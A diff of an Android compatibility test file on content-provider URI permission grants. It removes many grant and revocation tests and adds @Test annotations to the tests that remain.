-        Uri grantClip4Uri = Uri.withAppendedPath(uri, "clip4");
-        Uri grantClip5Uri = Uri.withAppendedPath(uri, "clip5");
-        ClipData clip = new ClipData("foo", new String[] { "foo/bar" },
-                new ClipData.Item(grantClip1Uri));
-        clip.addItem(new ClipData.Item(grantClip2Uri));
-        // Intents in the ClipData should allow their data: and clip URIs
-        // to be granted, but only respect the grant flags of the top-level
-        // Intent.
-        clip.addItem(new ClipData.Item(new Intent(Intent.ACTION_VIEW, grantClip3Uri)));
-        Intent intent = new Intent(Intent.ACTION_VIEW, grantClip4Uri);
-        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-        clip.addItem(new ClipData.Item(intent));
-        intent = new Intent(Intent.ACTION_VIEW);
-        intent.setClipData(new ClipData("foo", new String[] { "foo/bar" },
-                new ClipData.Item(grantClip5Uri)));
-        clip.addItem(new ClipData.Item(intent));
-        return clip;
-    }
-
-    private static Intent makeClipIntent(ClipData clip, int flags) {
-        Intent intent = new Intent();
-        intent.setClipData(clip);
-        intent.addFlags(flags);
-        return intent;
-    }
-
-    private static Intent makeClipIntent(Uri uri, int flags) {
-        return makeClipIntent(makeMultiClipData(uri), flags);
-    }
-
-    private void doTryGrantUriActivityPermissionToSelf(Uri uri, int mode) {
-        Uri grantDataUri = Uri.withAppendedPath(uri, "data");
-        Intent grantIntent = new Intent();
-        grantIntent.setData(grantDataUri);
-        grantIntent.addFlags(mode | Intent.FLAG_ACTIVITY_NEW_TASK);
-        grantIntent.setClass(getContext(), ReceiveUriActivity.class);
-        try {
-            ReceiveUriActivity.clearStarted();
-            getContext().startActivity(grantIntent);
-            ReceiveUriActivity.waitForStart();
-            fail("expected SecurityException granting " + grantDataUri + " to activity");
-        } catch (SecurityException e) {
-            // This is what we want.
-        }
-
-        grantIntent = makeClipIntent(uri, mode | Intent.FLAG_ACTIVITY_NEW_TASK);
-        grantIntent.setClass(getContext(), ReceiveUriActivity.class);
-        try {
-            ReceiveUriActivity.clearStarted();
-            getContext().startActivity(grantIntent);
-            ReceiveUriActivity.waitForStart();
-            fail("expected SecurityException granting " + grantIntent.getClipData() + " to activity");
-        } catch (SecurityException e) {
-            // This is what we want.
-        }
-    }
-
-    /**
-     * Test that we can't grant a permission to ourself.
-     */
-    public void testGrantReadUriActivityPermissionToSelf() {
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-    }
-
-    /**
-     * Test that we can't grant a permission to ourself.
-     */
-    public void testGrantWriteUriActivityPermissionToSelf() {
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-    }
-
-    /**
-     * Test that we can't grant a permission to ourself.
-     */
-    public void testGrantReadUriActivityPrivateToSelf() {
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-    }
-
-    /**
-     * Test that we can't grant a permission to ourself.
-     */
-    public void testGrantWriteUriActivityPrivateToSelf() {
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-    }
-
-    private void doTryGrantUriServicePermissionToSelf(Uri uri, int mode) {
-        Uri grantDataUri = Uri.withAppendedPath(uri, "data");
-        Intent grantIntent = new Intent();
-        grantIntent.setData(grantDataUri);
-        grantIntent.addFlags(mode);
-        grantIntent.setClass(getContext(), ReceiveUriService.class);
-        try {
-            getContext().startService(grantIntent);
-            fail("expected SecurityException granting " + grantDataUri + " to service");
-        } catch (SecurityException e) {
-            // This is what we want.
-        }
-
-        grantIntent = makeClipIntent(uri, mode);
-        grantIntent.setClass(getContext(), ReceiveUriService.class);
-        try {
-            getContext().startService(grantIntent);
-            fail("expected SecurityException granting " + grantIntent.getClipData() + " to service");
-        } catch (SecurityException e) {
-            // This is what we want.
-        }
-    }
-
-    /**
-     * Test that we can't grant a permission to ourself.
-     */
-    public void testGrantReadUriServicePermissionToSelf() {
-        doTryGrantUriServicePermissionToSelf(
-                Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-    }
-
-    /**
-     * Test that we can't grant a permission to ourself.
-     */
-    public void testGrantWriteUriServicePermissionToSelf() {
-        doTryGrantUriServicePermissionToSelf(
-                Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-    }
-
-    /**
-     * Test that we can't grant a permission to ourself.
-     */
-    public void testGrantReadUriServicePrivateToSelf() {
-        doTryGrantUriServicePermissionToSelf(
-                Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-    }
-
-    /**
-     * Test that we can't grant a permission to ourself.
-     */
-    public void testGrantWriteUriServicePrivateToSelf() {
-        doTryGrantUriServicePermissionToSelf(
-                Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-    }
-
-    private void grantUriPermissionFail(Uri uri, int mode, boolean service) {
-        Uri grantDataUri = Uri.withAppendedPath(uri, "data");
-        Intent grantIntent = new Intent();
-        grantIntent.setData(grantDataUri);
-        grantIntent.addFlags(mode);
-        grantIntent.setClass(getContext(),
-                service ? ReceiveUriService.class : ReceiveUriActivity.class);
-        Intent intent = new Intent();
-        intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
-        intent.putExtra(EXTRA_INTENT, grantIntent);
-        try {
-            call(intent);
-            fail("Able to grant URI permission to " + grantDataUri + " when should not");
-        } catch (Exception expected) {
-        }
-
-        grantIntent = makeClipIntent(uri, mode);
-        grantIntent.setClass(getContext(),
-                service ? ReceiveUriService.class : ReceiveUriActivity.class);
-        intent = new Intent();
-        intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
-        intent.putExtra(EXTRA_INTENT, grantIntent);
-        try {
-            call(intent);
-            fail("Able to grant URI permission to " + grantIntent.getClipData()
-                    + " when should not");
-        } catch (Exception expected) {
-        }
-    }
-
-    private void doTestGrantUriPermissionFail(Uri uri) {
-        for (boolean service : new boolean[] { false, true }) {
-            for (int flags : new int[] {
-                    Intent.FLAG_GRANT_READ_URI_PERMISSION, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-            }) {
-                grantUriPermissionFail(uri,
-                        flags, service);
-                grantUriPermissionFail(uri,
-                        flags | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, service);
-                grantUriPermissionFail(uri,
-                        flags | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, service);
-            }
-        }
-    }
-    
-    /**
-     * Test that the ctspermissionwithsignature content provider can not grant
-     * URI permissions to others.
-     */
-    public void testGrantPermissionNonGrantingFail() {
-        doTestGrantUriPermissionFail(PERM_URI);
-    }
-
-    /**
-     * Test that the ctspermissionwithsignaturegranting content provider can not grant
-     * URI permissions to paths outside of the grant tree
-     */
-    public void testGrantPermissionOutsideGrantingFail() {
-        doTestGrantUriPermissionFail(PERM_URI_GRANTING);
-        doTestGrantUriPermissionFail(Uri.withAppendedPath(PERM_URI_GRANTING, "invalid"));
-    }
-
-    /**
-     * Test that the ctsprivateprovider content provider can not grant
-     * URI permissions to others.
-     */
-    public void testGrantPrivateNonGrantingFail() {
-        doTestGrantUriPermissionFail(PRIV_URI);
-    }
-
-    /**
-     * Test that the ctsambiguousprovider content provider can not grant
-     * URI permissions to others.
-     */
-    public void testGrantAmbiguousNonGrantingFail() {
-        doTestGrantUriPermissionFail(AMBIGUOUS_URI);
-    }
-
-    /**
-     * Test that the ctsprivateprovidergranting content provider can not grant
-     * URI permissions to paths outside of the grant tree
-     */
-    public void testGrantPrivateOutsideGrantingFail() {
-        doTestGrantUriPermissionFail(PRIV_URI_GRANTING);
-        doTestGrantUriPermissionFail(Uri.withAppendedPath(PRIV_URI_GRANTING, "invalid"));
-    }
-
-    private void call(Intent intent) {
-        final Bundle extras = new Bundle();
-        extras.putParcelable(Intent.EXTRA_INTENT, intent);
-        getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
-    }
-
-    private void grantClipUriPermission(ClipData clip, int mode, boolean service) {
-        Intent grantIntent = new Intent();
-        if (clip.getItemCount() == 1) {
-            grantIntent.setData(clip.getItemAt(0).getUri());
-        } else {
-            grantIntent.setClipData(clip);
-            // Make this Intent unique from the one that started it.
-            for (int i=0; i<clip.getItemCount(); i++) {
-                Uri uri = clip.getItemAt(i).getUri();
-                if (uri != null) {
-                    grantIntent.addCategory(uri.toString());
-                }
-            }
-        }
-        grantIntent.addFlags(mode);
-        grantIntent.setClass(getContext(),
-                service ? ReceiveUriService.class : ReceiveUriActivity.class);
-        Intent intent = new Intent();
-        intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
-        intent.putExtra(EXTRA_INTENT, grantIntent);
-        call(intent);
-    }
-
-    private void grantClipUriPermissionViaContext(Uri uri, int mode) {
-        Intent intent = new Intent();
-        intent.setAction(ACTION_GRANT_URI);
-        intent.putExtra(EXTRA_PACKAGE_NAME, getContext().getPackageName());
-        intent.putExtra(EXTRA_URI, uri);
-        intent.putExtra(EXTRA_MODE, mode);
-        call(intent);
-    }
-
-    private void revokeClipUriPermissionViaContext(Uri uri, int mode) {
-        Intent intent = new Intent();
-        intent.setAction(ACTION_REVOKE_URI);
-        intent.putExtra(EXTRA_URI, uri);
-        intent.putExtra(EXTRA_MODE, mode);
-        call(intent);
-    }
-
-    private void setPrimaryClip(ClipData clip) {
-        Intent intent = new Intent();
-        intent.setAction(ACTION_SET_PRIMARY_CLIP);
-        intent.setClipData(clip);
-        call(intent);
-    }
-
-    private void clearPrimaryClip() {
-        Intent intent = new Intent();
-        intent.setAction(ACTION_CLEAR_PRIMARY_CLIP);
-        call(intent);
-    }
-
-    private void assertReadingClipAllowed(ClipData clip) {
-        for (int i=0; i<clip.getItemCount(); i++) {
-            ClipData.Item item = clip.getItemAt(i);
-            Uri uri = item.getUri();
-            if (uri != null) {
-                Cursor c = getContext().getContentResolver().query(uri,
-                        null, null, null, null);
-                if (c != null) {
-                    c.close();
-                }
-            } else {
-                Intent intent = item.getIntent();
-                uri = intent.getData();
-                if (uri != null) {
-                    Cursor c = getContext().getContentResolver().query(uri,
-                            null, null, null, null);
-                    if (c != null) {
-                        c.close();
-                    }
-                }
-                ClipData intentClip = intent.getClipData();
-                if (intentClip != null) {
-                    assertReadingClipAllowed(intentClip);
-                }
-            }
-        }
-    }
-
-    private void doTestGrantActivityUriReadPermission(Uri uri, boolean useClip) {
-        final Uri subUri = Uri.withAppendedPath(uri, "foo");
-        final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
-        final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
-        final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
-
-        final ClipData subClip = useClip ? makeMultiClipData(subUri) : makeSingleClipData(subUri);
-        final ClipData sub2Clip = useClip ? makeMultiClipData(sub2Uri) : makeSingleClipData(sub2Uri);
-
-        // Precondition: no current access.
-        assertReadingClipNotAllowed(subClip, "shouldn't read when starting test");
-        assertReadingClipNotAllowed(sub2Clip, "shouldn't read when starting test");
-
-        // --------------------------------
-
-        ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(subClip, Intent.FLAG_GRANT_READ_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForStart();
-
-        // See if we now have access to the provider.
-        assertReadingClipAllowed(subClip);
-
-        // But not writing.
-        assertWritingClipNotAllowed(subClip, "shouldn't write from granted read");
-
-        // And not to the base path.
-        assertReadingContentUriNotAllowed(uri, "shouldn't read non-granted base URI");
-
-        // And not to a sub path.
-        assertReadingContentUriNotAllowed(subSubUri, "shouldn't read non-granted sub URI");
-
-        // --------------------------------
-
-        ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(sub2Clip, Intent.FLAG_GRANT_READ_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForNewIntent();
-
-        if (false) {
-            synchronized (this) {
-                Log.i("**", "******************************* WAITING!!!");
-                try {
-                    wait(10000);
-                } catch (InterruptedException e) {
-                }
-            }
-        }
-
-        // See if we now have access to the provider.
-        assertReadingClipAllowed(sub2Clip);
-
-        // And still have access to the original URI.
-        assertReadingClipAllowed(subClip);
-
-        // But not writing.
-        assertWritingClipNotAllowed(sub2Clip, "shouldn't write from granted read");
-
-        // And not to the base path.
-        assertReadingContentUriNotAllowed(uri, "shouldn't read non-granted base URI");
-
-        // And not to a sub path.
-        assertReadingContentUriNotAllowed(sub2SubUri, "shouldn't read non-granted sub URI");
-
-        // And make sure we can't generate a permission to a running activity.
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(uri, "hah"),
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(uri, "hah"),
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
-        // --------------------------------
-
-        // Dispose of activity.
-        ReceiveUriActivity.finishCurInstanceSync();
-
-        synchronized (this) {
-            Log.i("**", "******************************* WAITING!!!");
-            try {
-                wait(100);
-            } catch (InterruptedException e) {
-            }
-        }
-
-        // Ensure reading no longer allowed.
-        assertReadingClipNotAllowed(subClip, "shouldn't read after losing granted URI");
-        assertReadingClipNotAllowed(sub2Clip, "shouldn't read after losing granted URI");
-    }
-
-    private void assertWritingClipAllowed(ClipData clip) {
-        for (int i=0; i<clip.getItemCount(); i++) {
-            ClipData.Item item = clip.getItemAt(i);
-            Uri uri = item.getUri();
-            if (uri != null) {
-                getContext().getContentResolver().insert(uri, new ContentValues());
-            } else {
-                Intent intent = item.getIntent();
-                uri = intent.getData();
-                if (uri != null) {
-                    getContext().getContentResolver().insert(uri, new ContentValues());
-                }
-                ClipData intentClip = intent.getClipData();
-                if (intentClip != null) {
-                    assertWritingClipAllowed(intentClip);
-                }
-            }
-        }
-    }
-
-    private void doTestGrantActivityUriWritePermission(Uri uri, boolean useClip) {
-        final Uri subUri = Uri.withAppendedPath(uri, "foo");
-        final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
-        final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
-        final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
-
-        final ClipData subClip = useClip ? makeMultiClipData(subUri) : makeSingleClipData(subUri);
-        final ClipData sub2Clip = useClip ? makeMultiClipData(sub2Uri) : makeSingleClipData(sub2Uri);
-
-        // Precondition: no current access.
-        assertWritingClipNotAllowed(subClip, "shouldn't write when starting test");
-        assertWritingClipNotAllowed(sub2Clip, "shouldn't write when starting test");
-
-        // --------------------------------
-
-        ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(subClip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForStart();
-
-        // See if we now have access to the provider.
-        assertWritingClipAllowed(subClip);
-
-        // But not reading.
-        assertReadingClipNotAllowed(subClip, "shouldn't read from granted write");
-
-        // And not to the base path.
-        assertWritingContentUriNotAllowed(uri, "shouldn't write non-granted base URI");
-
-        // And not a sub-path.
-        assertWritingContentUriNotAllowed(subSubUri, "shouldn't write non-granted sub URI");
-
-        // --------------------------------
-
-        ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(sub2Clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForNewIntent();
-
-        if (false) {
-            synchronized (this) {
-                Log.i("**", "******************************* WAITING!!!");
-                try {
-                    wait(10000);
-                } catch (InterruptedException e) {
-                }
-            }
-        }
-
-        // See if we now have access to the provider.
-        assertWritingClipAllowed(sub2Clip);
-
-        // And still have access to the original URI.
-        assertWritingClipAllowed(subClip);
-
-        // But not reading.
-        assertReadingClipNotAllowed(sub2Clip, "shouldn't read from granted write");
-
-        // And not to the base path.
-        assertWritingContentUriNotAllowed(uri, "shouldn't write non-granted base URI");
-
-        // And not a sub-path.
-        assertWritingContentUriNotAllowed(sub2SubUri, "shouldn't write non-granted sub URI");
-
-        // And make sure we can't generate a permission to a running activity.
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(uri, "hah"),
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(uri, "hah"),
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
-        // --------------------------------
-
-        // Dispose of activity.
-        ReceiveUriActivity.finishCurInstanceSync();
-
-        synchronized (this) {
-            Log.i("**", "******************************* WAITING!!!");
-            try {
-                wait(100);
-            } catch (InterruptedException e) {
-            }
-        }
-
-        // Ensure writing no longer allowed.
-        assertWritingClipNotAllowed(subClip, "shouldn't write after losing granted URI");
-        assertWritingClipNotAllowed(sub2Clip, "shouldn't write after losing granted URI");
-    }
-
-    /**
-     * Test that the ctspermissionwithsignaturegranting content provider can grant a read
-     * permission.
-     */
-    public void testGrantReadPermissionFromStartActivity() {
-        doTestGrantActivityUriReadPermission(PERM_URI_GRANTING, false);
-        doTestGrantActivityUriReadPermission(PERM_URI_GRANTING, true);
-    }
-
-    /**
-     * Test that the ctspermissionwithsignaturegranting content provider can grant a write
-     * permission.
-     */
-    public void testGrantWritePermissionFromStartActivity() {
-        doTestGrantActivityUriWritePermission(PERM_URI_GRANTING, true);
-        doTestGrantActivityUriWritePermission(PERM_URI_GRANTING, false);
-    }
-
-    /**
-     * Test that the ctsprivateprovidergranting content provider can grant a read
-     * permission.
-     */
-    public void testGrantReadPrivateFromStartActivity() {
-        doTestGrantActivityUriReadPermission(PRIV_URI_GRANTING, false);
-        doTestGrantActivityUriReadPermission(PRIV_URI_GRANTING, true);
-    }
-
-    /**
-     * Test that the ctsprivateprovidergranting content provider can grant a write
-     * permission.
-     */
-    public void testGrantWritePrivateFromStartActivity() {
-        doTestGrantActivityUriWritePermission(PRIV_URI_GRANTING, true);
-        doTestGrantActivityUriWritePermission(PRIV_URI_GRANTING, false);
-    }
-
-    private void doTestGrantServiceUriReadPermission(Uri uri, boolean useClip) {
-        final Uri subUri = Uri.withAppendedPath(uri, "foo");
-        final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
-        final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
-        final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
-
-        ReceiveUriService.stop(getContext());
-
-        final ClipData subClip = useClip ? makeMultiClipData(subUri) : makeSingleClipData(subUri);
-        final ClipData sub2Clip = useClip ? makeMultiClipData(sub2Uri) : makeSingleClipData(sub2Uri);
-
-        // Precondition: no current access.
-        assertReadingClipNotAllowed(subClip, "shouldn't read when starting test");
-        assertReadingClipNotAllowed(sub2Clip, "shouldn't read when starting test");
-
-        // --------------------------------
-
-        ReceiveUriService.clearStarted();
-        grantClipUriPermission(subClip, Intent.FLAG_GRANT_READ_URI_PERMISSION, true);
-        ReceiveUriService.waitForStart();
-
-        int firstStartId = ReceiveUriService.getCurStartId();
-
-        // See if we now have access to the provider.
-        assertReadingClipAllowed(subClip);
-
-        // But not writing.
-        assertWritingClipNotAllowed(subClip, "shouldn't write from granted read");
-
-        // And not to the base path.
-        assertReadingContentUriNotAllowed(uri, "shouldn't read non-granted base URI");
-
-        // And not to a sub path.
-        assertReadingContentUriNotAllowed(subSubUri, "shouldn't read non-granted sub URI");
-
-        // --------------------------------
-
-        // Send another Intent to it.
-        ReceiveUriService.clearStarted();
-        grantClipUriPermission(sub2Clip, Intent.FLAG_GRANT_READ_URI_PERMISSION, true);
-        ReceiveUriService.waitForStart();
-
-        if (false) {
-            synchronized (this) {
-                Log.i("**", "******************************* WAITING!!!");
-                try {
-                    wait(10000);
-                } catch (InterruptedException e) {
-                }
-            }
-        }
-
-        // See if we now have access to the provider.
-        assertReadingClipAllowed(sub2Clip);
-
-        // And still to the previous URI.
-        assertReadingClipAllowed(subClip);
-
-        // But not writing.
-        assertWritingClipNotAllowed(sub2Clip, "shouldn't write from granted read");
-
-        // And not to the base path.
-        assertReadingContentUriNotAllowed(uri, "shouldn't read non-granted base URI");
-
-        // And not to a sub path.
-        assertReadingContentUriNotAllowed(sub2SubUri, "shouldn't read non-granted sub URI");
-
-        // --------------------------------
-
-        // Stop the first command.
-        ReceiveUriService.stopCurWithId(firstStartId);
-
-        // Ensure reading no longer allowed.
-        assertReadingClipNotAllowed(subClip, "shouldn't read after losing granted URI");
-
-        // And make sure we can't generate a permission to a running service.
-        doTryGrantUriActivityPermissionToSelf(subUri,
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        doTryGrantUriActivityPermissionToSelf(subUri,
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
-        // --------------------------------
-
-        // Dispose of service.
-        ReceiveUriService.stopSync(getContext());
-
-        // Ensure reading no longer allowed.
-        assertReadingClipNotAllowed(subClip, "shouldn't read after losing granted URI");
-        assertReadingClipNotAllowed(sub2Clip, "shouldn't read after losing granted URI");
-    }
-
-    private void doTestGrantServiceUriWritePermission(Uri uri, boolean useClip) {
-        final Uri subUri = Uri.withAppendedPath(uri, "foo");
-        final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
-        final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
-        final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
-
-        ReceiveUriService.stop(getContext());
-
-        final ClipData subClip = useClip ? makeMultiClipData(subUri) : makeSingleClipData(subUri);
-        final ClipData sub2Clip = useClip ? makeMultiClipData(sub2Uri) : makeSingleClipData(sub2Uri);
-
-        // Precondition: no current access.
-        assertReadingClipNotAllowed(subClip, "shouldn't read when starting test");
-        assertReadingClipNotAllowed(sub2Clip, "shouldn't read when starting test");
-
-        // --------------------------------
-
-        ReceiveUriService.clearStarted();
-        grantClipUriPermission(subClip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, true);
-        ReceiveUriService.waitForStart();
-
-        int firstStartId = ReceiveUriService.getCurStartId();
-
-        // See if we now have access to the provider.
-        assertWritingClipAllowed(subClip);
-
-        // But not reading.
-        assertReadingClipNotAllowed(subClip, "shouldn't read from granted write");
-
-        // And not to the base path.
-        assertWritingContentUriNotAllowed(uri, "shouldn't write non-granted base URI");
-
-        // And not a sub-path.
-        assertWritingContentUriNotAllowed(subSubUri, "shouldn't write non-granted sub URI");
-
-        // --------------------------------
-
-        // Send another Intent to it.
-        ReceiveUriService.clearStarted();
-        grantClipUriPermission(sub2Clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, true);
-        ReceiveUriService.waitForStart();
-
-        // See if we now have access to the provider.
-        assertWritingClipAllowed(sub2Clip);
-
-        // And still to the previous URI.
-        assertWritingClipAllowed(subClip);
-
-        // But not reading.
-        assertReadingClipNotAllowed(sub2Clip, "shouldn't read from granted write");
-
-        // And not to the base path.
-        assertWritingContentUriNotAllowed(uri, "shouldn't write non-granted base URI");
-
-        // And not a sub-path.
-        assertWritingContentUriNotAllowed(sub2SubUri, "shouldn't write non-granted sub URI");
-
-        if (false) {
-            synchronized (this) {
-                Log.i("**", "******************************* WAITING!!!");
-                try {
-                    wait(10000);
-                } catch (InterruptedException e) {
-                }
-            }
-        }
-
-        // --------------------------------
-
-        // Stop the first command.
-        ReceiveUriService.stopCurWithId(firstStartId);
-
-        // Ensure writing no longer allowed.
-        assertWritingClipNotAllowed(subClip, "shouldn't write after losing granted URI");
-
-        // And make sure we can't generate a permission to a running service.
-        doTryGrantUriActivityPermissionToSelf(subUri,
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        doTryGrantUriActivityPermissionToSelf(subUri,
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
-        // --------------------------------
-
-        // Dispose of service.
-        ReceiveUriService.stopSync(getContext());
-
-        // Ensure writing no longer allowed.
-        assertWritingClipNotAllowed(subClip, "shouldn't write after losing granted URI");
-        assertWritingClipNotAllowed(sub2Clip, "shouldn't write after losing granted URI");
-    }
-
-    public void testGrantReadPermissionFromStartService() {
-        doTestGrantServiceUriReadPermission(PERM_URI_GRANTING, false);
-        doTestGrantServiceUriReadPermission(PERM_URI_GRANTING, true);
-    }
-
-    public void testGrantWritePermissionFromStartService() {
-        doTestGrantServiceUriWritePermission(PERM_URI_GRANTING, false);
-        doTestGrantServiceUriWritePermission(PERM_URI_GRANTING, true);
-    }
-
-    public void testGrantReadPrivateFromStartService() {
-        doTestGrantServiceUriReadPermission(PRIV_URI_GRANTING, false);
-        doTestGrantServiceUriReadPermission(PRIV_URI_GRANTING, true);
-    }
-
-    public void testGrantWritePrivateFromStartService() {
-        doTestGrantServiceUriWritePermission(PRIV_URI_GRANTING, false);
-        doTestGrantServiceUriWritePermission(PRIV_URI_GRANTING, true);
-    }
-
-    /**
-     * Test that ctspermissionwithsignaturepath can't grant read permissions
-     * on paths it doesn't have permission to.
-     */
-    public void testGrantReadUriActivityPathPermissionToSelf() {
-        doTryGrantUriActivityPermissionToSelf(PERM_URI_PATH,
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-    }
-
-    /**
-     * Test that ctspermissionwithsignaturepath can't grant write permissions
-     * on paths it doesn't have permission to.
-     */
-    public void testGrantWriteUriActivityPathPermissionToSelf() {
-        doTryGrantUriActivityPermissionToSelf(PERM_URI_PATH,
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-    }
-
-    /**
-     * Test that ctspermissionwithsignaturepath can't grant read permissions
-     * on paths it doesn't have permission to.
-     */
-    public void testGrantReadUriActivitySubPathPermissionToSelf() {
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(PERM_URI_PATH, "foo"),
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-    }
-
-    /**
-     * Test that ctspermissionwithsignaturepath can't grant write permissions
-     * on paths it doesn't have permission to.
-     */
-    public void testGrantWriteUriActivitySubPathPermissionToSelf() {
-        doTryGrantUriActivityPermissionToSelf(
-                Uri.withAppendedPath(PERM_URI_PATH, "foo"),
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-    }
-
-    /**
-     * Test that the ctspermissionwithsignaturepath content provider can grant a read
-     * permission.
-     */
-    public void testGrantReadPathPermissionFromStartActivity() {
-        doTestGrantActivityUriReadPermission(PERM_URI_PATH, false);
-        doTestGrantActivityUriReadPermission(PERM_URI_PATH, true);
-    }
-
-    /**
-     * Test that the ctspermissionwithsignaturepath content provider can grant a write
-     * permission.
-     */
-    public void testGrantWritePathPermissionFromStartActivity() {
-        doTestGrantActivityUriWritePermission(PERM_URI_PATH, false);
-        doTestGrantActivityUriWritePermission(PERM_URI_PATH, true);
-    }
-
-    /**
-     * Test that the ctspermissionwithsignaturepath content provider can grant a read
-     * permission.
-     */
-    public void testGrantReadPathPermissionFromStartService() {
-        doTestGrantServiceUriReadPermission(PERM_URI_PATH, false);
-        doTestGrantServiceUriReadPermission(PERM_URI_PATH, true);
-    }
-
-    /**
-     * Test that the ctspermissionwithsignaturepath content provider can grant a write
-     * permission.
-     */
-    public void testGrantWritePathPermissionFromStartService() {
-        doTestGrantServiceUriWritePermission(PERM_URI_PATH, false);
-        doTestGrantServiceUriWritePermission(PERM_URI_PATH, true);
-    }
-
     /**
      * Verify that we can access paths outside the {@code path-permission}
      * protections, which should only rely on {@code provider} permissions.
      */
+    @Test
     public void testRestrictingProviderNoMatchingPath() {
         assertReadingContentUriAllowed(PERM_URI_PATH_RESTRICTING);
         assertWritingContentUriAllowed(PERM_URI_PATH_RESTRICTING);
@@ -1168,6 +188,7 @@
      * Verify that paths under {@code path-permission} restriction aren't
      * allowed, even though the {@code provider} requires no permissions.
      */
+    @Test
     public void testRestrictingProviderMatchingPathDenied() {
         // rejected by "foo" prefix
         final Uri test1 = PERM_URI_PATH_RESTRICTING.buildUpon().appendPath("foo").build();
@@ -1184,6 +205,7 @@
     /**
      * Test that shady {@link Uri} are blocked by {@code path-permission}.
      */
+    @Test
     public void testRestrictingProviderMatchingShadyPaths() {
         assertContentUriAllowed(
                 Uri.parse("content://ctspermissionwithsignaturepathrestricting/"));
@@ -1205,6 +227,7 @@
      * Verify that at least one {@code path-permission} rule will grant access,
      * even if the caller doesn't hold another matching {@code path-permission}.
      */
+    @Test
     public void testRestrictingProviderMultipleMatchingPath() {
         // allowed by narrow "foo/bar" prefix
         final Uri test1 = PERM_URI_PATH_RESTRICTING.buildUpon()
@@ -1219,6 +242,7 @@
         assertWritingContentUriAllowed(test2);
     }
 
+    @Test
     public void testGetMimeTypePermission() {
         // Precondition: no current access.
         assertReadingContentUriNotAllowed(PERM_URI, "shouldn't read when starting test");
@@ -1228,6 +252,7 @@
         assertEquals(getContext().getContentResolver().getType(PERM_URI), EXPECTED_MIME_TYPE);
     }
 
+    @Test
     public void testGetMimeTypePrivate() {
         // Precondition: no current access.
         assertReadingContentUriNotAllowed(PRIV_URI, "shouldn't read when starting test");
@@ -1237,6 +262,7 @@
         assertEquals(getContext().getContentResolver().getType(PRIV_URI), EXPECTED_MIME_TYPE);
     }
 
+    @Test
     public void testGetMimeTypeAmbiguous() {
         // Precondition: no current access.
         assertReadingContentUriNotAllowed(AMBIGUOUS_URI, "shouldn't read when starting test");
@@ -1253,425 +279,10 @@
      * application, even if that application didn't explicitly declare either
      * exported=true or exported=false
      */
+    @Test
     public void testGetMimeTypeAmbiguousCompat() {
